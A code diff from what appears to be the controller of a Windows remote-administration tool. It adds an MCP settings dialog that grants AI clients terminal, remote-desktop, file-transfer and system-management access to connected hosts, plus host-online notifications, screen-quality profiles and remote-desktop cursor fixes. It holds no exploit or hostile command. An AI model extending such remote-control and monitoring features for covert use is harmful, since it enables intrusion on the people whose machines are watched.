m_btnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_btnCancel.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
// 回填配置(首次打开且 token 为空时预填随机值,随保存持久化)
int enabled = THIS_CFG.GetInt("settings", "McpEnabled", 0);
int port = THIS_CFG.GetInt("settings", "McpPort", 6544);
std::string bind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
std::string tok = THIS_CFG.GetStr("settings", "McpToken", "");
if (tok.empty()) tok = GenerateRandomToken();
int readonly = THIS_CFG.GetInt("settings", "McpReadonly", 1);
int terminal = THIS_CFG.GetInt("settings", "McpTerminal", 0);
int remoteControl = THIS_CFG.GetInt("settings", "McpRemoteControl", 0);
int fileTransfer = THIS_CFG.GetInt("settings", "McpFileTransfer", 0);
int manage = THIS_CFG.GetInt("settings", "McpManage", 0);
std::string whitelist = THIS_CFG.GetStr("settings", "McpCmdWhitelist", "");
m_btnEnable.SetCheck(enabled ? BST_CHECKED : BST_UNCHECKED);
m_editPort.SetWindowText(CString(std::to_string(port).c_str()));
m_editBind.SetWindowText(CString(bind.c_str()));
m_editToken.SetWindowText(CString(tok.c_str()));
m_btnReadonly.SetCheck(readonly ? BST_CHECKED : BST_UNCHECKED);
m_btnTerminal.SetCheck(terminal ? BST_CHECKED : BST_UNCHECKED);
m_btnRemoteControl.SetCheck(remoteControl ? BST_CHECKED : BST_UNCHECKED);
m_btnFileTransfer.SetCheck(fileTransfer ? BST_CHECKED : BST_UNCHECKED);
m_btnManage.SetCheck(manage ? BST_CHECKED : BST_UNCHECKED);
// 白名单存储为逗号分隔,展示为每行一条。
m_editWhitelist.SetWindowText(CString(WhitelistForDisplay(whitelist).c_str()));
LayoutControls(cli.Width(), cli.Height());
return TRUE;
}
void CMcpSettingsDlg::OnOK()
{
CString sPort, sBind, sToken, sWhitelist;
m_editPort.GetWindowText(sPort);
m_editBind.GetWindowText(sBind);
m_editToken.GetWindowText(sToken);
m_editWhitelist.GetWindowText(sWhitelist);
bool enabled = (m_btnEnable.GetCheck() == BST_CHECKED);
bool readonly = (m_btnReadonly.GetCheck() == BST_CHECKED);
bool terminal = (m_btnTerminal.GetCheck() == BST_CHECKED);
bool remoteControl = (m_btnRemoteControl.GetCheck() == BST_CHECKED);
bool fileTransfer = (m_btnFileTransfer.GetCheck() == BST_CHECKED);
bool manage = (m_btnManage.GetCheck() == BST_CHECKED);
// 端口校验:1-65535
int port = atoi(CT2A(sPort));
if (port < 1 || port > 65535) {
MessageBoxL(_TR("端口需为 1-65535 的数字"), _TR("提示"), MB_ICONWARNING);
return;
}
std::string bind = CT2A(sBind);
if (bind.empty()) bind = "127.0.0.1";
std::string token = CT2A(sToken);
if (enabled && token.empty()) {
MessageBoxL(_TR("Token 不能为空"), _TR("提示"), MB_ICONWARNING);
return;
}
// 落盘
THIS_CFG.SetInt("settings", "McpEnabled", enabled ? 1 : 0);
THIS_CFG.SetInt("settings", "McpPort", port);
THIS_CFG.SetStr("settings", "McpBind", bind);
THIS_CFG.SetStr("settings", "McpToken", token);
THIS_CFG.SetInt("settings", "McpReadonly", readonly ? 1 : 0);
THIS_CFG.SetInt("settings", "McpTerminal", terminal ? 1 : 0);
THIS_CFG.SetInt("settings", "McpRemoteControl", remoteControl ? 1 : 0);
THIS_CFG.SetInt("settings", "McpFileTransfer", fileTransfer ? 1 : 0);
THIS_CFG.SetInt("settings", "McpManage", manage ? 1 : 0);
std::string whitelist = CT2A(sWhitelist);
whitelist = NormalizeWhitelist(whitelist);
THIS_CFG.SetStr("settings", "McpCmdWhitelist", whitelist);
// 拆成两段可翻译的单行键,中间用 \r\n 连接(多行键无法在 INI 中表示)
MessageBox(_TR("MCP 设置已保存。") + _T("\r\n") +
_TR("启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输/管理操作的改动需重启程序生效。") + _T("\r\n") +
_TR("持久终端、远程控制与管理操作仅在只读模式关闭时生效。"),
_TR("提示"), MB_ICONINFORMATION);
CDialog::OnOK();
}
void CMcpSettingsDlg::LayoutControls(int cx, int cy)
{
const int margin = 14;
const int labelW = 72;
const int rowH = 24;
const int gap = 10;
const int btnW = 88;
const int btnH = 26;
int y = margin;
m_btnEnable.MoveWindow(margin, y, cx - margin * 2, 22);
y += 30;
m_lblPort.MoveWindow(margin, y, labelW, rowH);
m_editPort.MoveWindow(margin + labelW, y - 2, 100, rowH);
y += rowH + gap;
m_lblBind.MoveWindow(margin, y, labelW, rowH);
m_editBind.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, rowH);
y += rowH + gap;
m_lblToken.MoveWindow(margin, y, labelW, rowH);
m_editToken.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, rowH);
y += rowH + gap;
m_btnReadonly.MoveWindow(margin, y, cx - margin * 2, 22);
y += 30;
m_btnTerminal.MoveWindow(margin, y, cx - margin * 2, 22);
y += 30;
m_btnRemoteControl.MoveWindow(margin, y, cx - margin * 2, 22);
y += 30;
m_btnFileTransfer.MoveWindow(margin, y, cx - margin * 2, 22);
y += 30;
m_btnManage.MoveWindow(margin, y, cx - margin * 2, 22);
y += 30;
const int whitelistH = 90;
m_lblWhitelist.MoveWindow(margin, y, labelW, rowH);
m_editWhitelist.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, whitelistH);
y += whitelistH + gap;
// 确定 / 取消按钮紧跟白名单下方,不再锚定到底部,避免白名单与按钮之间出现大段空白。
m_btnCancel.MoveWindow(cx - margin - btnW, y, btnW, btnH);
m_btnOK.MoveWindow(cx - margin - btnW * 2 - gap, y, btnW, btnH);
y += btnH + margin;
// 收缩对话框到内容实际高度并重新居中,消除底部空白。
if (y < cy) {
CRect wnd;
GetWindowRect(&wnd);
SetWindowPos(NULL, 0, 0, wnd.Width(), y + (wnd.Height() - cy),
SWP_NOMOVE | SWP_NOZORDER | SWP_NOACTIVATE);
CenterWindow();
}
}
+52
View File
@@ -0,0 +1,52 @@
#pragma once
#include <afxwin.h>
#include <afxcmn.h>
#include <vector>
// 「MCP设置」配置对话框:启用 MCP / 端口 / 绑定地址 / Token。
// 因 2015Remote.rc 为 UTF-16 编码、不宜手工编辑,参照 ZstaPickerDlg 用
// InitModalIndirect + 内存 DLGTEMPLATE 程序化创建(见 docs/Mcp_Design.md §3.8)。
class CMcpSettingsDlg : public CDialog
{
public:
explicit CMcpSettingsDlg(CWnd* parent = nullptr);
virtual INT_PTR DoModal();
protected:
virtual BOOL OnInitDialog();
virtual void OnOK();
DECLARE_MESSAGE_MAP()
private:
enum CtrlId {
IDC_MCP_ENABLE = 1001, // 「启用 MCP」复选框
IDC_MCP_PORT = 1002, // 端口编辑框
IDC_MCP_BIND = 1003, // 绑定地址编辑框
IDC_MCP_TOKEN = 1004, // Token 编辑框
IDC_MCP_READONLY = 1005, // 「只读模式」复选框(默认勾选,禁 exec_command)
IDC_MCP_WHITELIST = 1006, // 命令白名单编辑框(多行,逗号/换行分隔,空 = 内置只读前缀)
IDC_MCP_TERMINAL = 1007, // 「启用持久终端」复选框(全命令,无白名单,要求只读关)
IDC_MCP_REMOTECONTROL = 1008, // 「启用远程控制」复选框(AI 操控桌面,要求只读关)
IDC_MCP_FILETRANSFER = 1009, // 「启用文件传输」复选框(download_file,不要求只读关)
IDC_MCP_MANAGE = 1010, // 「启用管理操作」复选框(kill/窗口/服务/电源,要求只读关)
};
CButton m_btnEnable;
CStatic m_lblPort, m_lblBind, m_lblToken;
CEdit m_editPort, m_editBind, m_editToken;
CButton m_btnReadonly;
CButton m_btnTerminal;
CButton m_btnRemoteControl;
CButton m_btnFileTransfer;
CButton m_btnManage;
CStatic m_lblWhitelist;
CEdit m_editWhitelist;
CButton m_btnOK, m_btnCancel;
std::vector<BYTE> m_Template; // 内存 DLGTEMPLATE 字节
void LayoutControls(int cx, int cy);
};
+8 -4
View File
@@ -104,10 +104,14 @@ inline const char* GetColumnName(int index) {
"Camera", // 6 "Camera", // 6
"RTT", // 7 "RTT", // 7
"Version", // 8 "Version", // 8
"Privilege", // 9 ONLINELIST_PRIVILEGE "InstallTime", // 9 ONLINELIST_INSTALLTIME
"InstallTime", // 10 ONLINELIST_INSTALLTIME "ActiveWindow", // 10 ONLINELIST_LOGINTIME
"ActiveWindow", // 11 ONLINELIST_LOGINTIME "ClientType", // 11 ONLINELIST_CLIENTTYPE
"ClientType", // 12 ONLINELIST_CLIENTTYPE "Path", // 12 ONLINELIST_PATH
"PublicIP", // 13 ONLINELIST_PUBIP
"StartTime", // 14 ONLINELIST_STARTTIME
"Capabilities", // 15 ONLINELIST_CAPABILITIES
"Privilege", // 16 ONLINELIST_PRIVILEGE
}; };
if (index >= 0 && index < sizeof(names)/sizeof(names[0])) { if (index >= 0 && index < sizeof(names)/sizeof(names[0])) {
return names[index]; return names[index];
+39 -22
View File
@@ -141,35 +141,52 @@ bool NotifyManager::ShouldNotify(context* ctx, std::string& outMatchedKeyword, c
} }
} }
// Get column text (for COMPUTER_NAME column, prefer remark if available) // Split pattern by semicolon and get keywords
std::vector<std::string> keywords = SplitString(rule.matchPattern, ';');
// Helper: check if any keyword matches a given column text
auto matchColumn = [&keywords, this](const CString& colText) -> std::string {
if (colText.IsEmpty()) return "";
std::string colTextStr = CT2A(colText, CP_UTF8);
std::string colLower = colTextStr;
std::transform(colLower.begin(), colLower.end(), colLower.begin(), ::tolower);
for (const auto& kw : keywords) {
std::string trimmed = Trim(kw);
if (trimmed.empty()) continue;
std::string kwLower = trimmed;
std::transform(kwLower.begin(), kwLower.end(), kwLower.begin(), ::tolower);
if (colLower.find(kwLower) != std::string::npos) {
return trimmed;
}
}
return "";
};
// Check primary column (for COMPUTER_NAME column, prefer remark if available)
CString colText; CString colText;
if (rule.columnIndex == ONLINELIST_COMPUTER_NAME && !remark.IsEmpty()) { if (rule.columnIndex == ONLINELIST_COMPUTER_NAME && !remark.IsEmpty()) {
colText = remark; colText = remark;
} else { } else {
colText = ctx->GetClientData(rule.columnIndex); colText = ctx->GetClientData(rule.columnIndex);
} }
if (colText.IsEmpty()) return false; std::string matched = matchColumn(colText);
if (!matched.empty()) {
outMatchedKeyword = matched;
m_config.lastNotifyTime[clientId] = now;
return true;
}
// Convert to std::string for matching // Also check the IP column (ONLINELIST_IP) so IP keywords added from log
std::string colTextStr = CT2A(colText, CP_UTF8); // messages can match against host IP addresses when they come online.
CString ipText = ctx->GetClientData(ONLINELIST_IP);
// Split pattern by semicolon and check each keyword matched = matchColumn(ipText);
std::vector<std::string> keywords = SplitString(rule.matchPattern, ';'); if (!matched.empty()) {
for (const auto& kw : keywords) { outMatchedKeyword = matched;
std::string trimmed = Trim(kw); m_config.lastNotifyTime[clientId] = now;
if (trimmed.empty()) continue; return true;
// Case-insensitive substring search
std::string colLower = colTextStr;
std::string kwLower = trimmed;
std::transform(colLower.begin(), colLower.end(), colLower.begin(), ::tolower);
std::transform(kwLower.begin(), kwLower.end(), kwLower.begin(), ::tolower);
if (colLower.find(kwLower) != std::string::npos) {
outMatchedKeyword = trimmed;
m_config.lastNotifyTime[clientId] = now;
return true;
}
} }
return false; return false;
+39 -4
View File
@@ -56,7 +56,7 @@ BOOL NotifySettingsDlg::OnInitDialog()
SetDlgItemText(IDC_STATIC_TRIGGER, _TR(_T("触发条件:"))); SetDlgItemText(IDC_STATIC_TRIGGER, _TR(_T("触发条件:")));
SetDlgItemText(IDC_STATIC_MATCH_COLUMN, _TR(_T("匹配列:"))); SetDlgItemText(IDC_STATIC_MATCH_COLUMN, _TR(_T("匹配列:")));
SetDlgItemText(IDC_STATIC_KEYWORDS, _TR(_T("关键词:"))); SetDlgItemText(IDC_STATIC_KEYWORDS, _TR(_T("关键词:")));
SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(多个关键词用分号分隔,匹配任一项即触发通知)"))); SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(每行一个关键词,匹配任一项即触发通知)")));
SetDlgItemText(IDC_STATIC_NOTIFY_TIP, _TR(_T("提示: 同一主机 60 分钟内仅通知一次"))); SetDlgItemText(IDC_STATIC_NOTIFY_TIP, _TR(_T("提示: 同一主机 60 分钟内仅通知一次")));
SetDlgItemText(IDOK, _TR("确定")); SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消")); SetDlgItemText(IDCANCEL, _TR("取消"));
@@ -111,10 +111,10 @@ void NotifySettingsDlg::PopulateComboBoxes()
{ ONLINELIST_VIDEO, _T("摄像头") }, { ONLINELIST_VIDEO, _T("摄像头") },
{ ONLINELIST_PING, _T("延迟") }, { ONLINELIST_PING, _T("延迟") },
{ ONLINELIST_VERSION, _T("版本") }, { ONLINELIST_VERSION, _T("版本") },
{ ONLINELIST_PRIVILEGE, _T("权限") },
{ ONLINELIST_INSTALLTIME, _T("安装时间") }, { ONLINELIST_INSTALLTIME, _T("安装时间") },
{ ONLINELIST_LOGINTIME, _T("活动窗口") }, { ONLINELIST_LOGINTIME, _T("活动窗口") },
{ ONLINELIST_CLIENTTYPE, _T("客户端类型") }, { ONLINELIST_CLIENTTYPE, _T("客户端类型") },
{ ONLINELIST_PRIVILEGE, _T("权限") },
}; };
for (const auto& col : columns) { for (const auto& col : columns) {
CString item; CString item;
@@ -154,7 +154,24 @@ void NotifySettingsDlg::LoadSettings()
m_comboNotifyColumn.SetCurSel(rule.columnIndex); m_comboNotifyColumn.SetCurSel(rule.columnIndex);
} }
m_editNotifyPattern.SetWindowText(CString(rule.matchPattern.c_str())); // Display stored semicolon-separated keywords as one keyword per line.
{
CString pattern;
const CString stored(CA2T(rule.matchPattern.c_str(), CP_UTF8));
int start = 0;
for (;;) {
const int pos = stored.Find(_T(';'), start);
CString kw = (pos < 0) ? stored.Mid(start) : stored.Mid(start, pos - start);
kw.Trim();
if (!kw.IsEmpty()) {
if (!pattern.IsEmpty()) pattern += _T("\r\n");
pattern += kw;
}
if (pos < 0) break;
start = pos + 1;
}
m_editNotifyPattern.SetWindowText(pattern);
}
} }
void NotifySettingsDlg::SaveSettings() void NotifySettingsDlg::SaveSettings()
@@ -189,8 +206,26 @@ void NotifySettingsDlg::SaveSettings()
sel = m_comboNotifyColumn.GetCurSel(); sel = m_comboNotifyColumn.GetCurSel();
rule.columnIndex = (sel >= 0) ? (int)m_comboNotifyColumn.GetItemData(sel) : ONLINELIST_COMPUTER_NAME; rule.columnIndex = (sel >= 0) ? (int)m_comboNotifyColumn.GetItemData(sel) : ONLINELIST_COMPUTER_NAME;
// Normalize one-keyword-per-line input back to semicolon-separated storage.
m_editNotifyPattern.GetWindowText(str); m_editNotifyPattern.GetWindowText(str);
rule.matchPattern = CT2A(str, CP_UTF8); str.Replace(_T("\r\n"), _T("\n"));
str.Replace(_T('\r'), _T('\n'));
{
CString joined;
int start = 0;
for (;;) {
const int pos = str.Find(_T('\n'), start);
CString kw = (pos < 0) ? str.Mid(start) : str.Mid(start, pos - start);
kw.Trim();
if (!kw.IsEmpty()) {
if (!joined.IsEmpty()) joined += _T(';');
joined += kw;
}
if (pos < 0) break;
start = pos + 1;
}
rule.matchPattern = CT2A(joined, CP_UTF8);
}
// Update manager config and save // Update manager config and save
GetNotifyManager().SetConfig(m_config); GetNotifyManager().SetConfig(m_config);
+156
View File
@@ -0,0 +1,156 @@
// QualityLevelsDlg.h
// 远程桌面质量等级配置对话框:编辑 6 档 QualityProfile(帧率/宽度/算法/码率)。
// 纯主控端 UI 偏好,持久化由 CMy2015RemoteDlg::SaveQualityProfilesToCfg() 负责。
// 仅在 2015RemoteDlg.cpp 中 include 一次(头文件内联实现,勿多处包含)。
#pragma once
#include "LangManager.h"
class CQualityLevelsDlg : public CDialog
{
public:
enum { IDD = IDD_QUALITY_LEVELS };
// profiles: 指向 6 元素 QualityProfile 数组,确认后写回
CQualityLevelsDlg(QualityProfile* profiles, CWnd* pParent = NULL)
: CDialog(CQualityLevelsDlg::IDD, pParent), m_profiles(profiles)
{
}
protected:
QualityProfile* m_profiles;
QualityProfile m_working[QUALITY_COUNT];
static const char* AlgorithmName(int algo)
{
switch (algo) {
case ALGORITHM_GRAY: return "GRAY";
case ALGORITHM_DIFF: return "DIFF";
case ALGORITHM_H264: return "H264";
case ALGORITHM_RGB565: return "RGB565";
default: return "?";
}
}
static const char* LevelName(int i)
{
static const char* names[QUALITY_COUNT] = {
"Ultra", "High", "Good", "Medium", "Low", "Minimal"
};
return (i >= 0 && i < QUALITY_COUNT) ? names[i] : "?";
}
void FillAlgoCombo(int i)
{
CComboBox* cb = (CComboBox*)GetDlgItem(IDC_QLEVEL_ALGO + i);
if (!cb) return;
for (int a = 0; a < 4; a++) {
cb->AddString(CString(AlgorithmName(a)));
}
cb->SetCurSel(m_working[i].algorithm);
}
void LoadToControls()
{
CString s;
for (int i = 0; i < QUALITY_COUNT; i++) {
s.Format(_T("%d"), m_working[i].maxFPS);
SetDlgItemText(IDC_QLEVEL_FPS + i, s);
s.Format(_T("%d"), m_working[i].maxWidth);
SetDlgItemText(IDC_QLEVEL_WIDTH + i, s);
s.Format(_T("%d"), m_working[i].bitRate);
SetDlgItemText(IDC_QLEVEL_BITRATE + i, s);
FillAlgoCombo(i);
}
}
bool ReadInt(int id, int& out)
{
CString s;
GetDlgItemText(id, s);
s.Trim();
if (s.IsEmpty()) return false;
int v = 0;
for (int k = 0; k < s.GetLength(); k++) {
TCHAR ch = s[k];
if (ch < _T('0') || ch > _T('9')) return false;
v = v * 10 + (ch - _T('0'));
}
out = v;
return true;
}
bool ReadFromControls(CString& err)
{
for (int i = 0; i < QUALITY_COUNT; i++) {
int fps, w, br;
if (!ReadInt(IDC_QLEVEL_FPS + i, fps))
{ err.Format(_T("等级 %s 的帧率不是有效数字"), LevelName(i)); return false; }
if (!ReadInt(IDC_QLEVEL_WIDTH + i, w))
{ err.Format(_T("等级 %s 的最大宽度不是有效数字"), LevelName(i)); return false; }
if (!ReadInt(IDC_QLEVEL_BITRATE + i, br))
{ err.Format(_T("等级 %s 的码率不是有效数字"), LevelName(i)); return false; }
if (fps < 1 || fps > 60)
{ err.Format(_T("等级 %s 的帧率需在 1~60 之间"), LevelName(i)); return false; }
if (w < 0 || w > 8192)
{ err.Format(_T("等级 %s 的最大宽度需在 0~8192 之间(0=原始分辨率)"), LevelName(i)); return false; }
if (br < 0 || br > 50000)
{ err.Format(_T("等级 %s 的码率需在 0~50000 之间"), LevelName(i)); return false; }
CComboBox* cb = (CComboBox*)GetDlgItem(IDC_QLEVEL_ALGO + i);
int algo = cb ? cb->GetCurSel() : -1;
if (algo < 0 || algo > 3)
{ err.Format(_T("等级 %s 的编码算法未选择"), LevelName(i)); return false; }
m_working[i].maxFPS = fps;
m_working[i].maxWidth = w;
m_working[i].bitRate = br;
m_working[i].algorithm = algo;
}
return true;
}
void ResetToDefaults()
{
for (int i = 0; i < QUALITY_COUNT; i++) {
m_working[i] = GetQualityProfile(i);
}
LoadToControls();
}
virtual BOOL OnInitDialog() override
{
CDialog::OnInitDialog();
for (int i = 0; i < QUALITY_COUNT; i++) {
m_working[i] = m_profiles[i];
}
LoadToControls();
TranslateDialog(this);
return TRUE;
}
virtual void OnOK() override
{
CString err;
if (!ReadFromControls(err)) {
MessageBox(err, _TR("提示"), MB_ICONWARNING);
return;
}
for (int i = 0; i < QUALITY_COUNT; i++) {
m_profiles[i] = m_working[i];
}
CDialog::OnOK();
}
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
{
if (LOWORD(wParam) == IDC_QLEVEL_RESET && HIWORD(wParam) == BN_CLICKED) {
ResetToDefaults();
return TRUE;
}
return CDialog::OnCommand(wParam, lParam);
}
};
+37 -18
View File
@@ -648,7 +648,7 @@ void CScreenSpyDlg::PrepareDrawing(const LPBITMAPINFO bmp)
m_BitmapData_Full = NULL; m_BitmapData_Full = NULL;
CString strString; CString strString;
strString.FormatL("%s - 远程桌面控制 %d×%d", m_IPAddress, bmp->bmiHeader.biWidth, bmp->bmiHeader.biHeight); strString.FormatL("%s - 远程桌面控制 %d×%d", GetTitleHostName().GetString(), bmp->bmiHeader.biWidth, bmp->bmiHeader.biHeight);
SetWindowText(strString); SetWindowText(strString);
uint64_t dlg = (uint64_t)this; uint64_t dlg = (uint64_t)this;
Mprintf("%s [对话框ID: %llu]\n", strString.GetString(), dlg); Mprintf("%s [对话框ID: %llu]\n", strString.GetString(), dlg);
@@ -843,13 +843,9 @@ BOOL CScreenSpyDlg::OnInitDialog()
m_ClientCursorPos.y = 0; m_ClientCursorPos.y = 0;
m_bCursorIndex = 0; m_bCursorIndex = 0;
m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
ICONINFO CursorInfo;
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
ShowScrollBar(SB_BOTH, !m_bAdaptiveSize); ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
// 设置合理的"正常"窗口大小,显示在主程序所在的显示器上 // 设置合理的"正常"窗口大小,显示在主程序所在的显示器上
@@ -893,13 +889,17 @@ BOOL CScreenSpyDlg::OnInitDialog()
// 启动传输速率更新定时器 (1秒) // 启动传输速率更新定时器 (1秒)
SetTimer(4, 1000, NULL); SetTimer(4, 1000, NULL);
// 下发质量配置表(让客户端可以持久化保存) // 下发质量配置表(让客户端可以持久化保存)。
// 优先使用主控端在「高级 → 远程桌面质量等级」里自定义的档位;无主控端时回落内置默认表。
{ {
BYTE profileCmd[1 + sizeof(QualityProfile) * QUALITY_COUNT]; BYTE profileCmd[1 + sizeof(QualityProfile) * QUALITY_COUNT];
profileCmd[0] = CMD_QUALITY_PROFILES; profileCmd[0] = CMD_QUALITY_PROFILES;
for (int i = 0; i < QUALITY_COUNT; i++) { for (int i = 0; i < QUALITY_COUNT; i++) {
const QualityProfile& prof = (m_pParent != nullptr)
? m_pParent->GetQualityProfileCfg(i)
: GetQualityProfile(i);
memcpy(profileCmd + 1 + i * sizeof(QualityProfile), memcpy(profileCmd + 1 + i * sizeof(QualityProfile),
&GetQualityProfile(i), sizeof(QualityProfile)); &prof, sizeof(QualityProfile));
} }
m_ContextObject->Send2Client(profileCmd, sizeof(profileCmd)); m_ContextObject->Send2Client(profileCmd, sizeof(profileCmd));
} }
@@ -1990,7 +1990,23 @@ void CScreenSpyDlg::OnPaint()
BOOL CScreenSpyDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message) BOOL CScreenSpyDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message)
{ {
if ((m_bIsCtrl && m_Settings.RemoteCursor) && nHitTest == HTCLIENT) { // 查看模式(未开启远程控制):客户区显示禁止图标;标题栏及系统按钮保持正常箭头,
// 便于拖动窗口或通过标题栏右键菜单开启远程控制。
// 这里按窗口自身状态判断,避免用窗口类光标(GCLP_HCURSOR)时被同类的其他对话框实例
// 共享串扰——打开第二个未控制的对话框后,第一个已控制的对话框也被误显示成禁止图标。
if (!m_bIsCtrl && nHitTest == HTCLIENT) {
::SetCursor(LoadCursor(NULL, IDC_NO));
return TRUE;
}
if (!m_bIsCtrl &&
(nHitTest == HTCAPTION || nHitTest == HTSYSMENU || nHitTest == HTMENU ||
nHitTest == HTCLOSE || nHitTest == HTMINBUTTON || nHitTest == HTMAXBUTTON ||
nHitTest == HTHELP)) {
::SetCursor(LoadCursor(NULL, IDC_ARROW));
return TRUE;
}
// 控制模式:保持原有逻辑——显示远程光标时客户区隐藏本地物理光标,否则交父类显示远程形状
if (m_bIsCtrl && m_Settings.RemoteCursor && nHitTest == HTCLIENT) {
::SetCursor(NULL); // 只要在客户区,始终隐藏系统光标 ::SetCursor(NULL); // 只要在客户区,始终隐藏系统光标
return TRUE; // 告诉 Windows 我们处理过了 return TRUE; // 告诉 Windows 我们处理过了
} }
@@ -2084,7 +2100,6 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
} }
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
// 控制模式:禁用本地 IME;查看模式:启用本地 IME // 控制模式:禁用本地 IME;查看模式:启用本地 IME
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC); ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
break; break;
@@ -2429,6 +2444,17 @@ void CScreenSpyDlg::OnTimer(UINT_PTR nIDEvent)
__super::OnTimer(nIDEvent); __super::OnTimer(nIDEvent);
} }
CString CScreenSpyDlg::GetTitleHostName() const
{
// 标题栏显示的主机名:有备注用备注,否则用 IP
if (m_pParent && m_pParent->m_ClientMap) {
CString note = m_pParent->m_ClientMap->GetClientMapData(GetClientID(), MAP_NOTE);
if (!note.IsEmpty())
return note;
}
return m_IPAddress;
}
void CScreenSpyDlg::UpdateWindowTitle() void CScreenSpyDlg::UpdateWindowTitle()
{ {
if (!m_BitmapInfor_Full) return; if (!m_BitmapInfor_Full) return;
@@ -2444,10 +2470,10 @@ void CScreenSpyDlg::UpdateWindowTitle()
UINT fps = (UINT)(m_dFrameRate + 0.5); // 四舍五入显示 UINT fps = (UINT)(m_dFrameRate + 0.5); // 四舍五入显示
if (m_dTransferRate >= 1024) { if (m_dTransferRate >= 1024) {
strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.1f MB/s%s", strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.1f MB/s%s",
m_IPAddress, width, height, fps, m_dTransferRate / 1024, qualityName.GetString()); GetTitleHostName().GetString(), width, height, fps, m_dTransferRate / 1024, qualityName.GetString());
} else { } else {
strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.0f KB/s%s", strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.0f KB/s%s",
m_IPAddress, width, height, fps, m_dTransferRate, qualityName.GetString()); GetTitleHostName().GetString(), width, height, fps, m_dTransferRate, qualityName.GetString());
} }
// 追加剪贴板操作提示 // 追加剪贴板操作提示
strTitle += (m_Settings.ScreenType == 2) ? strTitle += (m_Settings.ScreenType == 2) ?
@@ -3473,9 +3499,6 @@ void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point)
// 关键:在控制模式下,强制设置光标为空,隐藏本地物理箭头 // 关键:在控制模式下,强制设置光标为空,隐藏本地物理箭头
::SetCursor(NULL); ::SetCursor(NULL);
} }
} else if (!m_bMouseTracking) {
m_bMouseTracking = true;
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
} }
__super::OnMouseMove(nFlags, point); __super::OnMouseMove(nFlags, point);
@@ -3484,9 +3507,6 @@ void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point)
void CScreenSpyDlg::OnMouseLeave() void CScreenSpyDlg::OnMouseLeave()
{ {
CWnd::OnMouseLeave(); CWnd::OnMouseLeave();
m_bMouseTracking = false;
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
} }
void CScreenSpyDlg::OnKillFocus(CWnd* pNewWnd) void CScreenSpyDlg::OnKillFocus(CWnd* pNewWnd)
@@ -3566,7 +3586,6 @@ void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl)
Invalidate(FALSE); Invalidate(FALSE);
} }
} }
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
// 控制模式:禁用本地 IME;查看模式:启用本地 IME // 控制模式:禁用本地 IME;查看模式:启用本地 IME
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC); ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
CMenu* SysMenu = GetSystemMenu(FALSE); CMenu* SysMenu = GetSystemMenu(FALSE);
+3 -2
View File
@@ -234,6 +234,9 @@ public:
// fillMode: 0=不填充, 1=全黑, 2=半透明 // fillMode: 0=不填充, 1=全黑, 2=半透明
VOID DrawTipString(CString strString, int fillMode=1); VOID DrawTipString(CString strString, int fillMode=1);
